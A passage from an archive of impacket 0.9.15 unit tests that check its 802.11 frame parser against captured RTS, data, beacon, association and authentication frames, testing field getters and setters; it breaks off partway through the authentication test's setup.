impacket-0.9.15/impacket/testcases/dot11/test_FrameControlRTS.py 0000600 0000765 0000000 00000004151 12734531507 024572 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11ControlFrameRTS
from binascii import hexlify
import unittest
class TestDot11FrameControlRTS(unittest.TestCase):
def setUp(self):
# 802.11 Control Frame RTS
self.frame_orig='\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73'
d = Dot11(self.frame_orig)
type = d.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)
subtype = d.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND)
typesubtype = d.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND)
self.rts = Dot11ControlFrameRTS(d.get_body_as_string())
d.contains(self.rts)
def test_01_HeaderTailSize(self):
'Test Header and Tail Size field'
self.assertEqual(self.rts.get_header_size(), 14)
self.assertEqual(self.rts.get_tail_size(), 0)
def test_02_Duration(self):
'Test Duration field'
self.assertEqual(self.rts.get_duration(), 0x181)
self.rts.set_duration(0x1234)
self.assertEqual(self.rts.get_duration(), 0x1234)
def test_03_RA(self):
'Test RA field'
ra=self.rts.get_ra()
self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
ra[0]=0x12
ra[5]=0x34
self.rts.set_ra(ra)
self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
def test_04_TA(self):
'Test TA field'
ta=self.rts.get_ta()
self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe])
ta[0]=0x12
ta[5]=0x34
self.rts.set_ta(ta)
self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34])
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlRTS)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameData.py 0000600 0000765 0000000 00000007633 12734531507 023442 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11DataFrame
from binascii import hexlify
import unittest
class TestDot11DataFrames(unittest.TestCase):
def setUp(self):
# 802.11 Data Frame
#
self.frame_orig='\x08\x01\x30\x00\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x00\x08\x54\xac\x2f\x85\x40\x44\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00\xed\x13\x22\x91'
d = Dot11(self.frame_orig)
type = d.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_DATA)
subtype = d.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_DATA)
typesubtype = d.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
self.data = Dot11DataFrame(d.get_body_as_string())
d.contains(self.data)
def test_01_HeaderSize(self):
'Test Header and Tail Size field'
self.assertEqual(self.data.get_header_size(), 22)
self.assertEqual(self.data.get_tail_size(), 0)
def test_02_Duration(self):
'Test Duration field'
self.assertEqual(self.data.get_duration(), 0x30)
self.data.set_duration(0x1234)
self.assertEqual(self.data.get_duration(), 0x1234)
def test_03_Address_1(self):
'Test Address 1 field'
addr=self.data.get_address1()
self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
addr[0]=0x12
addr[5]=0x34
self.data.set_address1(addr)
self.assertEqual(self.data.get_address1().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
def test_04_Address_2(self):
'Test Address 2 field'
addr=self.data.get_address2()
self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe])
addr[0]=0x12
addr[5]=0x34
self.data.set_address2(addr)
self.assertEqual(self.data.get_address2().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34])
def test_05_Address_3(self):
'Test Address 3 field'
addr=self.data.get_address3()
self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
addr[0]=0x12
addr[5]=0x34
self.data.set_address3(addr)
self.assertEqual(self.data.get_address3().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
def test_06_sequence_control(self):
'Test Sequence control field'
self.assertEqual(self.data.get_sequence_control(), 0x4440)
self.data.set_sequence_control(0x1234)
self.assertEqual(self.data.get_sequence_control(), 0x1234)
def test_07_fragment_number(self):
'Test Fragment number field'
self.assertEqual(self.data.get_fragment_number(), 0x0000)
self.data.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.data.get_fragment_number(), 0x01)
def test_08_sequence_number(self):
'Test Sequence number field'
self.assertEqual(self.data.get_sequence_number(), 0x0444)
self.data.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.data.get_sequence_number(), 0x0234)
def test_09_frame_data(self):
'Test Frame Data field'
# Test with packet without addr4
frame_body="\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00"
self.assertEqual(self.data.get_frame_body(), frame_body)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11DataFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagement.py 0000600 0000765 0000000 00000020754 12734531507 024644 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame,Dot11ManagementBeacon
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementBeaconFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawframe='\x00\x00\x20\x00\x67\x08\x04\x00\x54\xc6\xb8\x24\x00\x00\x00\x00\x22\x0c\xda\xa0\x02\x00\x00\x00\x40\x01\x00\x00\x3c\x14\x24\x11\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x06\x03\x7f\x07\xa0\x16\xb0\x77\x3a\x40\xcb\x26\x00\x00\x00\x00\x64\x00\x01\x05\x00\x0a\x66\x72\x65\x65\x62\x73\x64\x2d\x61\x70\x01\x08\x8c\x12\x98\x24\xb0\x48\x60\x6c\x03\x01\x24\x05\x04\x00\x01\x00\x00\x07\x2a\x55\x53\x20\x24\x01\x11\x28\x01\x11\x2c\x01\x11\x30\x01\x11\x34\x01\x17\x38\x01\x17\x3c\x01\x17\x40\x01\x17\x95\x01\x1e\x99\x01\x1e\x9d\x01\x1e\xa1\x01\x1e\xa5\x01\x1e\x20\x01\x00\xdd\x18\x00\x50\xf2\x02\x01\x01\x00\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00'
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_BEACON)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_beacon=self.management_base.child()
self.assertEqual(str(self.management_beacon.__class__), "dot11.Dot11ManagementBeacon")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_beacon.get_header_size(), 116)
self.assertEqual(self.management_beacon.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x0000)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0xFF,0xFF,0xFF,0xFF,0xFF,0xFF])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0xFF,0xFF,0xFF,0xFF,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x06,0x03,0x7f,0x07,0xa0,0x16])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x03,0x7f,0x07,0xa0,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x06,0x03,0x7f,0x07,0xa0,0x16])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x03,0x7f,0x07,0xa0,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x77b0)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 1915)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="\x3a\x40\xcb\x26\x00\x00\x00\x00\x64\x00\x01\x05\x00\x0a\x66\x72\x65\x65\x62\x73\x64\x2d\x61\x70\x01\x08\x8c\x12\x98\x24\xb0\x48\x60\x6c\x03\x01\x24\x05\x04\x00\x01\x00\x00\x07\x2a\x55\x53\x20\x24\x01\x11\x28\x01\x11\x2c\x01\x11\x30\x01\x11\x34\x01\x17\x38\x01\x17\x3c\x01\x17\x40\x01\x17\x95\x01\x1e\x99\x01\x1e\x9d\x01\x1e\xa1\x01\x1e\xa5\x01\x1e\x20\x01\x00\xdd\x18\x00\x50\xf2\x02\x01\x01\x00\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Beacon Timestamp field'
self.assertEqual(self.management_beacon.get_timestamp(), 0x0000000026CB403A)
self.management_beacon.set_timestamp(0x8765432101234567)
self.assertEqual(self.management_beacon.get_timestamp(), 0x8765432101234567)
def test_11(self):
'Test Management Beacon Inteval field'
self.assertEqual(self.management_beacon.get_beacon_interval(), 0x0064)
self.management_beacon.set_beacon_interval(0x4321)
self.assertEqual(self.management_beacon.get_beacon_interval(), 0x4321)
def test_12(self):
'Test Management Beacon Capabilities field'
self.assertEqual(self.management_beacon.get_capabilities(), 0x0501)
self.management_beacon.set_capabilities(0x4321)
self.assertEqual(self.management_beacon.get_capabilities(), 0x4321)
def test_13(self):
'Test Management ssid getter/setter methods'
act_ssid="freebsd-ap"
new_ssid="holala"
self.assertEqual(self.management_beacon.get_ssid(), act_ssid)
self.management_beacon.set_ssid(new_ssid)
self.assertEqual(self.management_beacon.get_ssid(), new_ssid)
self.assertEqual(self.management_beacon.get_header_size(), 116-4)
def test_14(self):
'Test Management supported_rates getter/setter methods'
self.assertEqual(self.management_beacon.get_supported_rates(), (0x8c,0x12,0x98,0x24,0xb0,0x48,0x60,0x6c) )
self.assertEqual(self.management_beacon.get_supported_rates(human_readable=True), (6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0) )
self.management_beacon.set_supported_rates((0x12,0x98,0x24,0xb0,0x48,0x60))
self.assertEqual(self.management_beacon.get_supported_rates(), (0x12,0x98,0x24,0xb0,0x48,0x60) )
self.assertEqual(self.management_beacon.get_supported_rates(human_readable=True), ( 9.0, 12.0, 18.0, 24.0, 36.0, 48.0) )
self.assertEqual(self.management_beacon.get_header_size(), 116-2)
def test_15(self):
'Test Management DS Parameter Set getter/setter methods'
self.assertEqual(self.management_beacon.get_ds_parameter_set(), 36 )
self.management_beacon.set_ds_parameter_set(40)
self.assertEqual(self.management_beacon.get_ds_parameter_set(), 40 )
self.assertEqual(self.management_beacon.get_header_size(), 116)
def test_16(self):
'Test Management Vendor Specific getter/setter methods'
self.assertEqual(self.management_beacon.get_vendor_specific(), [("\x00\x50\xf2","\x02\x01\x01\x00\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00")])
self.management_beacon.add_vendor_specific("\x00\x00\x40","\x04\x04\x04\x04\x04\x04")
self.assertEqual(self.management_beacon.get_vendor_specific(),
[("\x00\x50\xf2","\x02\x01\x01\x00\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00"),
("\x00\x00\x40","\x04\x04\x04\x04\x04\x04"),
])
self.assertEqual(self.management_beacon.get_header_size(), 127)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementBeaconFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementAssociationRequest.py 0000600 0000765 0000000 00000020327 12734531507 030406 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame, Dot11ManagementAssociationRequest
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementAssociationRequestFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawframe="\x00\x00\x1c\x00\xef\x18\x00\x00jH\xfa\x00<\x00\x00\x00\x10\x02\x85\t\xa0\x00\xb9\x9e_\x00\x00\x1b\x00\x00:\x01\x00\x18\xf8lvBp\x1a\x04T\xe3\x86\x00\x18\xf8lvBP\x8e1\x04\n\x00\x00\x05ddwrt\x01\x08\x82\x84\x8b\x96$0Hl!\x02\n\x11$\x02\x01\x0e0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x002\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x00\x10\x00\x00\x00\xbf]o\xce"
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_REQUEST)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_association_request=self.management_base.child()
self.assertEqual(str(self.management_association_request.__class__), "dot11.Dot11ManagementAssociationRequest")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_association_request.get_header_size(), 68)
self.assertEqual(self.management_association_request.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x013a)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x8e50)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 2277)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="1\x04\n\x00\x00\x05ddwrt\x01\x08\x82\x84\x8b\x96$0Hl!\x02\n\x11$\x02\x01\x0e0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x002\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x00\x10\x00\x00\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Association Request Capabilities field'
self.assertEqual(self.management_association_request.get_capabilities(), 0x0431)
self.management_association_request.set_capabilities(0x4321)
self.assertEqual(self.management_association_request.get_capabilities(), 0x4321)
def test_11(self):
'Test Management Association Request Listen Interval field'
self.assertEqual(self.management_association_request.get_listen_interval(), 0x000a)
self.management_association_request.set_listen_interval(0x4321)
self.assertEqual(self.management_association_request.get_listen_interval(), 0x4321)
def test_12(self):
'Test Management Association Request Ssid getter/setter methods'
act_ssid="ddwrt"
new_ssid="holala"
self.assertEqual(self.management_association_request.get_ssid(), act_ssid)
self.management_association_request.set_ssid(new_ssid)
self.assertEqual(self.management_association_request.get_ssid(), new_ssid)
self.assertEqual(self.management_association_request.get_header_size(), 68+1)
def test_13(self):
'Test Management Association Request Supported_rates getter/setter methods'
self.assertEqual(self.management_association_request.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))
self.assertEqual(self.management_association_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))
self.management_association_request.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
self.assertEqual(self.management_association_request.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
self.assertEqual(self.management_association_request.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))
self.assertEqual(self.management_association_request.get_header_size(), 68-2)
def test_14(self):
'Test Management Association Request RSN getter/setter methods'
self.assertEqual(self.management_association_request.get_rsn(), "\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x00")
self.management_association_request.set_rsn("\xff\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\xff")
self.assertEqual(self.management_association_request.get_rsn(), "\xff\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\xff")
self.assertEqual(self.management_association_request.get_header_size(), 68)
def test_15(self):
'Test Management Vendor Specific getter/setter methods'
self.assertEqual(self.management_association_request.get_vendor_specific(), [("\x00\x10\x18","\x02\x00\x10\x00\x00\x00")])
self.management_association_request.add_vendor_specific("\x00\x00\x40", "\x04\x04\x04\x04\x04\x04")
self.assertEqual(self.management_association_request.get_vendor_specific(),
[("\x00\x10\x18", "\x02\x00\x10\x00\x00\x00"),
("\x00\x00\x40", "\x04\x04\x04\x04\x04\x04"),
])
self.assertEqual(self.management_association_request.get_header_size(), 68+11)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementAssociationRequestFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementAssociationResponse.py 0000600 0000765 0000000 00000016464 12734531507 030563 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame, Dot11ManagementAssociationResponse
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementAssociationResponseFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawframe="\x00\x00\x1c\x00\xef\x18\x00\x00\xc2L\xfa\x00<\x00\x00\x00\x10\x02\x85\t\xa0\x00\xb4\x9e_\x00\x00\x16\x10\x00:\x01p\x1a\x04T\xe3\x86\x00\x18\xf8lvB\x00\x18\xf8lvB\xf0\x02\x11\x04\x00\x00\x04\xc0\x01\x08\x82\x84\x8b\x96$0Hl2\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x02\xf0\x00\x00\x00f%\xdf7"
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_RESPONSE)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_association_response=self.management_base.child()
self.assertEqual(str(self.management_association_response.__class__), "dot11.Dot11ManagementAssociationResponse")
def test_01(self):
'Test Header and Tail Size field'
self.assertEqual(self.management_base.get_header_size(), 22)
self.assertEqual(self.management_base.get_tail_size(), 0)
self.assertEqual(self.management_association_response.get_header_size(), 33)
self.assertEqual(self.management_association_response.get_tail_size(), 0)
def test_02(self):
'Test Duration field'
self.assertEqual(self.management_base.get_duration(), 0x013a)
self.management_base.set_duration(0x1234)
self.assertEqual(self.management_base.get_duration(), 0x1234)
def test_03(self):
'Test Destination Address field'
addr=self.management_base.get_destination_address()
self.assertEqual(addr.tolist(), [0x70,0x1a,0x04,0x54,0xe3,0x86])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_destination_address(addr)
self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x1a,0x04,0x54,0xe3,0x34])
def test_04(self):
'Test Source Address field'
addr=self.management_base.get_source_address()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_source_address(addr)
self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_05(self):
'Test BSSID Address field'
addr=self.management_base.get_bssid()
self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
addr[0]=0x12
addr[5]=0x34
self.management_base.set_bssid(addr)
self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
def test_06(self):
'Test Sequence control field'
self.assertEqual(self.management_base.get_sequence_control(), 0x02f0)
self.management_base.set_sequence_control(0x1234)
self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
def test_07(self):
'Test Fragment number field'
self.assertEqual(self.management_base.get_fragment_number(), 0x00)
self.management_base.set_fragment_number(0xF1) # Es de 4 bit
self.assertEqual(self.management_base.get_fragment_number(), 0x01)
def test_08(self):
'Test Sequence number field'
self.assertEqual(self.management_base.get_sequence_number(), 47)
self.management_base.set_sequence_number(0xF234) # Es de 12 bit
self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
def test_09(self):
'Test Management Frame Data field'
frame_body="\x11\x04\x00\x00\x04\xc0\x01\x08\x82\x84\x8b\x96$0Hl2\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x02\xf0\x00\x00\x00"
self.assertEqual(self.management_base.get_frame_body(), frame_body)
def test_10(self):
'Test Management Association Response Capabilities field'
self.assertEqual(self.management_association_response.get_capabilities(), 0x0411)
self.management_association_response.set_capabilities(0x4321)
self.assertEqual(self.management_association_response.get_capabilities(), 0x4321)
def test_11(self):
'Test Management Association Response Status Code field'
self.assertEqual(self.management_association_response.get_status_code(), 0x0000)
self.management_association_response.set_status_code(0x4321)
self.assertEqual(self.management_association_response.get_status_code(), 0x4321)
def test_12(self):
'Test Management Association Response Association ID field'
self.assertEqual(self.management_association_response.get_association_id(), 0xc004)
self.management_association_response.set_association_id(0x4321)
self.assertEqual(self.management_association_response.get_association_id(), 0x4321)
def test_13(self):
'Test Management Association Response Supported_rates getter/setter methods'
self.assertEqual(self.management_association_response.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))
self.assertEqual(self.management_association_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))
self.management_association_response.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
self.assertEqual(self.management_association_response.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
self.assertEqual(self.management_association_response.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))
self.assertEqual(self.management_association_response.get_header_size(), 33-2)
def test_14(self):
'Test Management Vendor Specific getter/setter methods'
self.assertEqual(self.management_association_response.get_vendor_specific(), [("\x00\x10\x18","\x02\x02\xf0\x00\x00\x00")])
self.management_association_response.add_vendor_specific("\x00\x00\x40", "\x04\x04\x04\x04\x04\x04")
self.assertEqual(self.management_association_response.get_vendor_specific(),
[("\x00\x10\x18", "\x02\x02\xf0\x00\x00\x00"),
("\x00\x00\x40", "\x04\x04\x04\x04\x04\x04"),
])
self.assertEqual(self.management_association_response.get_header_size(), 33+11)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementAssociationResponseFrames)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_FrameManagementAuthentication.py 0000600 0000765 0000000 00000014546 12734531507 027546 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11, Dot11Types, Dot11ManagementFrame, Dot11ManagementAuthentication
from ImpactDecoder import RadioTapDecoder
from binascii import hexlify
import unittest
class TestDot11ManagementAuthenticationFrames(unittest.TestCase):
def setUp(self):
# 802.11 Management Frame
#
self.rawframe="\x00\x00\x1c\x00\xef\x18\x00\x00\x39\x55\x6f\x05\x3c\x00\x00\x00\x10\x02\x85\x09\xa0\x00\xb8\x9d\x60\x00\x00\x1b\xb0\x00\x3a\x01\x00\x18\xf8\x6c\x76\x42\x70\x1a\x04\x54\xe3\x86\x00\x18\xf8\x6c\x76\x42\x30\xc8\x00\x00\x01\x00\x00\x00\xdd\x09\x00\x10\x18\x02\x00\x10\x00\x00\x00\x8a\x64\xe9\x3b"
self.radiotap_decoder = RadioTapDecoder()
radiotap=self.radiotap_decoder.decode(self.rawframe)
self.assertEqual(str(radiotap.__class__), "dot11.RadioTap")
self.dot11=radiotap.child()
self.assertEqual(str(self.dot11.__class__), "dot11.Dot11")
type = self.dot11.get_type()
self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
subtype = self.dot11.get_subtype()
self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION)
typesubtype = self.dot11.get_type_n_subtype()
self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_AUTHENTICATION)
self.management_base=self.dot11.child()
self.assertEqual(str(self.management_base.__class__), "dot11.Dot11ManagementFrame")
self.management_authentication=self.management_base.child()
